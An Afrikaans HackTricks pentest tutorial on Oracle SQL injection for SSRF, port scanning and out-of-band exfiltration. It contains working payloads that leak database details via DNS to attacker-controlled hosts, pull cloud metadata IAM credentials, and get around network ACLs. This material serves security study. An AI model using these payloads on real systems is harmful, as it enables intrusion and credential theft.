# Oracle injection {{#include ../../banners/hacktricks-training.md}} **Dien hierdie pos 'n wayback masjienkopie van die verwyderde pos van [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/)**. ## SSRF Die gebruik van Oracle om Out of Band HTTP en DNS versoeke te doen is goed gedokumenteer, maar as 'n middel om SQL data in inspuitings te exfiltreer. Ons kan altyd hierdie tegnieke/funksies aanpas om ander SSRF/XSPA te doen. Die installering van Oracle kan regtig pynlik wees, veral as jy 'n vinnige instansie wil opstel om opdragte uit te probeer. My vriend en kollega by [Appsecco](https://appsecco.com), [Abhisek Datta](https://github.com/abhisek), het my na [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c) verwys wat my toegelaat het om 'n instansie op 'n t2.large AWS Ubuntu masjien en Docker op te stel. Ek het die docker opdrag met die `--network="host"` vlag gedraai sodat ek Oracle as 'n inheemse installasie met volle netwerktoegang kon naboots, vir die duur van hierdie blogpos. ``` docker run -d --network="host" quay.io/maksymbilenko/oracle-12c ``` #### Oracle-pakkette wat 'n URL of 'n Gasheer/Poortnommer spesifikasie ondersteun Om enige pakkette en funksies te vind wat 'n gasheer en poort spesifikasie ondersteun, het ek 'n Google-soektog op die [Oracle Database Online Documentation](https://docs.oracle.com/database/121/index.html) gedoen. Spesifiek, ``` site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum" ``` Die soektog het die volgende resultate teruggegee (nie almal kan gebruik word om uitgaande netwerk te voer nie) - DBMS_NETWORK_ACL_ADMIN - UTL_SMTP - DBMS_XDB - DBMS_SCHEDULER - DBMS_XDB_CONFIG - DBMS_AQ - UTL_MAIL - DBMS_AQELM - DBMS_NETWORK_ACL_UTILITY - DBMS_MGD_ID_UTL - UTL_TCP - DBMS_MGWADM - DBMS_STREAMS_ADM - UTL_HTTP Hierdie ruwe soektog slaag duidelik oor pakkette soos `DBMS_LDAP` (wat die oordrag van 'n gasheernaam en poortnommer toelaat) aangesien [die dokumentasiebladsy](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360) jou eenvoudig na 'n [ander plek](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360) verwys. Daarom mag daar ander Oracle-pakkette wees wat misbruik kan word om uitgaande versoeke te maak wat ek dalk gemis het. In elk geval, kom ons kyk na sommige van die pakkette wat ons ontdek het en hierbo gelys is. **DBMS_LDAP.INIT** Die `DBMS_LDAP` pakket stel toegang tot data van LDAP-bedieners toe. Die `init()` funksie inisieer 'n sessie met 'n LDAP-bediener en neem 'n gasheernaam en poortnommer as 'n argument. Hierdie funksie is voorheen gedokumenteer om die eksterne oordrag van data oor DNS te toon, soos hieronder ``` SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual; ``` egter, aangesien die funksie 'n gasheernaam en 'n poortnommer as argumente aanvaar, kan jy dit gebruik om soos 'n poortskandeerder te werk. Hier is 'n paar voorbeelde ``` SELECT DBMS_LDAP.INIT('scanme.nmap.org',22) FROM dual; SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual; SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual; SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual; ``` A `ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.` dui aan dat die poort gesluit is terwyl 'n sessiewaarde na die poort verwys wat oop is. **UTL_SMTP** Die `UTL_SMTP` pakket is ontwerp om e-posse oor SMTP te stuur. Die voorbeeld wat op die [Oracle dokumentasiewebwerf verskaf word, wys hoe jy hierdie pakket kan gebruik om 'n e-pos te stuur](https://docs.oracle.com/database/121/ARPLS/u_smtp.htm#ARPLS71478). Vir ons is die interessante ding egter die vermoë om 'n gasheer- en poortspesifikasie te verskaf. 'n Grof voorbeeld word hieronder getoon met die `UTL_SMTP.OPEN_CONNECTION` funksie, met 'n tydsduur van 2 sekondes. ``` DECLARE c utl_smtp.connection; BEGIN c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',80,2); END; ``` ``` DECLARE c utl_smtp.connection; BEGIN c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2); END; ``` A `ORA-29276: transfer timeout` dui aan dat die poort oop is, maar geen SMTP-verbinding tot stand gebring is nie, terwyl 'n `ORA-29278: SMTP transient error: 421 Service not available` aandui dat die poort gesluit is. **UTL_TCP** Die `UTL_TCP` pakket en sy prosedures en funksies stel [TCP/IP-gebaseerde kommunikasie met dienste](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190) moontlik. As dit geprogrammeer is vir 'n spesifieke diens, kan hierdie pakket maklik 'n manier in die netwerk word of volle Server Side Requests uitvoer, aangesien alle aspekte van 'n TCP/IP-verbinding beheer kan word. Die voorbeeld [op die Oracle-dokumentasiewebwerf toon hoe jy hierdie pakket kan gebruik om 'n rou TCP-verbinding te maak om 'n webblad te verkry](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Ons kan dit 'n bietjie eenvoudiger maak en dit gebruik om versoeke na die metadata-instantie te doen, byvoorbeeld, of na 'n arbitrêre TCP/IP-diens. ``` set serveroutput on size 30000; SET SERVEROUTPUT ON DECLARE c utl_tcp.connection; retval pls_integer; BEGIN c := utl_tcp.open_connection('169.254.169.254',80,tx_timeout => 2); retval := utl_tcp.write_line(c, 'GET /latest/meta-data/ HTTP/1.0'); retval := utl_tcp.write_line(c); BEGIN LOOP dbms_output.put_line(utl_tcp.get_line(c, TRUE)); END LOOP; EXCEPTION WHEN utl_tcp.end_of_input THEN NULL; END; utl_tcp.close_connection(c); END; / ``` ``` DECLARE c utl_tcp.connection; retval pls_integer; BEGIN c := utl_tcp.open_connection('scanme.nmap.org',22,tx_timeout => 4); retval := utl_tcp.write_line(c); BEGIN LOOP dbms_output.put_line(utl_tcp.get_line(c, TRUE)); END LOOP; EXCEPTION WHEN utl_tcp.end_of_input THEN NULL; END; utl_tcp.close_connection(c); END; ``` Interessant genoeg, weens die vermoë om rou TCP versoeke te vervaardig, kan hierdie pakket ook gebruik word om die Instansie meta-data diens van alle wolkverskaffers te ondervra, aangesien die metode tipe en addisionele koppe alles binne die TCP versoek oorgedra kan word. **UTL_HTTP en Web Versoeke** Miskien is die mees algemene en wyd gedokumenteerde tegniek in elke Out of Band Oracle SQL Injection tutoriaal daar buite die [`UTL_HTTP` pakket](https://docs.oracle.com/database/121/ARPLS/u_http.htm#ARPLS070). Hierdie pakket word deur die dokumentasie gedefinieer as - `Die UTL_HTTP pakket maak Hypertext Transfer Protocol (HTTP) oproepe vanuit SQL en PL/SQL. Jy kan dit gebruik om toegang te verkry tot data op die Internet oor HTTP.` ``` select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual; ``` U kan dit ook gebruik om 'n paar rudimentêre poortskandering uit te voer met vrae soos ``` select UTL_HTTP.request('http://scanme.nmap.org:22') from dual; select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual; select UTL_HTTP.request('http://scanme.nmap.org:25') from dual; ``` 'n `ORA-12541: TNS:no listener` of 'n `TNS:operation timed out` is 'n teken dat die TCP-poort gesluit is, terwyl 'n `ORA-29263: HTTP protocol error` of data 'n teken is dat die poort oop is. 'n Ander pakket wat ek in die verlede met verskillende sukses gebruik het, is die [`GETCLOB()` metode van die `HTTPURITYPE` Oracle abstrakte tipe](https://docs.oracle.com/database/121/ARPLS/t_dburi.htm#ARPLS71705) wat jou toelaat om met 'n URL te kommunikeer en ondersteuning bied vir die HTTP-protokol. Die `GETCLOB()` metode word gebruik om die GET-antwoorde van 'n URL as 'n [CLOB datatipe.](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html) ``` SELECT HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() FROM dual; ``` --- ## Addisionele Pakkette & Tegnieke (Oracle 19c → 23c) ### UTL_INADDR – DNS-gebaseerde eksfiltrasie en gastherkenning `UTL_INADDR` stel eenvoudige naam-resolusie helpers bloot wat 'n uitgaande DNS-opsoek vanaf die databasisgasheer aktiveer. Omdat slegs 'n domein benodig word (geen poort/ACL nodig nie) is dit 'n betroubare primitiewe vir blinde eksfil wanneer ander netwerkoproepen geblokkeer is. ```sql -- Leak the DB name and current user via a DNS query handled by Burp Collaborator SELECT UTL_INADDR.get_host_address( (SELECT name FROM v$database)||'.'||(SELECT user FROM dual)|| '.attacker.oob.server') FROM dual; ``` `get_host_address()` gee die opgeloste IP terug (of gooi `ORA-29257` as die oplosproses misluk). Die aanvaller hoef net die inkomende DNS-versoek op die beheerde domein te monitor om kode-uitvoering te bevestig. ### DBMS_CLOUD.SEND_REQUEST – volledige HTTP-kliënt op Autonomous/23c Onlangse wolk-georiënteerde uitgawes (Autonomous Database, 21c/23c, 23ai) word saam met `DBMS_CLOUD` verskaf. Die `SEND_REQUEST` funksie dien as 'n algemene HTTP-kliënt wat pasgemaakte werkwoorde, koptekste, TLS en groot liggame ondersteun, wat dit baie kragtiger maak as die klassieke `UTL_HTTP`. ```sql -- Assuming the current user has CREATE CREDENTIAL and network ACL privileges BEGIN -- empty credential when no auth is required DBMS_CLOUD.create_credential( credential_name => 'NOAUTH', username => 'ignored', password => 'ignored'); END; / DECLARE resp DBMS_CLOUD_TYPES.resp; BEGIN resp := DBMS_CLOUD.send_request( credential_name => 'NOAUTH', uri => 'http://169.254.169.254/latest/meta-data/', method => 'GET', timeout => 3); dbms_output.put_line(DBMS_CLOUD.get_response_text(resp)); END; / ``` Omdat `SEND_REQUEST` arbitrêre teiken-URI's toelaat, kan dit via SQLi misbruik word vir: 1. Interne poortskandering / SSRF na wolk metadata dienste. 2. Uit-band eksfiltrasie oor HTTPS (gebruik Burp Collaborator of 'n `ngrok` tonnel). 3. Terugroepe na aanvallersbedieners selfs wanneer ouer oproeppakkette deur ACL's gedeaktiveer is. ℹ️ As jy net 'n klassieke on-prem 19c het, maar Java gestoor prosedures kan skep, kan jy soms `DBMS_CLOUD` van die OCI kliëntpakket installeer — nuttig in sommige betrokkenhede. ### Outomatisering van die aanvaloppervlak met **ODAT** [ODAT – Oracle Database Attacking Tool](https://github.com/quentinhardy/odat) het tred gehou met moderne weergawe (getoets tot 19c, 5.1.1 – Apr-2022). Die `–utl_http`, `–utl_tcp`, `–httpuritype` en nuwer `–dbms_cloud` modules outomaties: * Detecteer bruikbare oproeppakkette/ACL toekennings. * Trigger DNS & HTTP terugroepe vir blinde ekstraksie. * Genereer gereed-om-te-kopieer SQL payloads vir Burp/SQLMap. Voorbeeld: vinnige OOB kontrole met standaard kredensiale (sorg vir ACL enumerasie in die agtergrond): ```bash odat all -s 10.10.10.5 -p 1521 -d XE -U SCOTT -P tiger --modules oob ``` ### Onlangse netwerk ACL beperkings & omseilings Oracle het die standaard Netwerk ACLs in die Julie 2023 CPU verskerp — nie-bevoegde rekeninge ontvang nou `ORA-24247: netwerktoegang geweier deur toegangbeheerlys` as standaard. Twee patrone laat steeds oproepe deur SQLi toe: 1. Teikenrekening besit 'n ACL-invoer (`DBMS_NETWORK_ACL_ADMIN.create_acl`) wat deur 'n ontwikkelaar vir integrasies bygevoeg is. 2. Die aanvaller misbruik 'n hoë-bevoegdheid PL/SQL definisie-regte roetine (bv. in 'n pasgemaakte toepassing) wat *reeds* `AUTHID DEFINER` en die nodige toekennings het. As jy `ORA-24247` tydens eksplorasie teëkom, soek altyd na herbruikbare prosedures: ```sql SELECT owner, object_name FROM dba_objects WHERE object_type = 'PROCEDURE' AND authid = 'DEFINER'; ``` (in baie ouditte het ten minste een verslag/eksport prosedure die nodige regte gehad). --- ## Verwysings * Oracle Docs – `DBMS_CLOUD.SEND_REQUEST` pakket beskrywing en voorbeelde. * quentinhardy/odat – Oracle Databasis Aanval Gereedskap (nuutste vrystelling 5.1.1, Apr-2022). {{#include ../../banners/hacktricks-training.md}}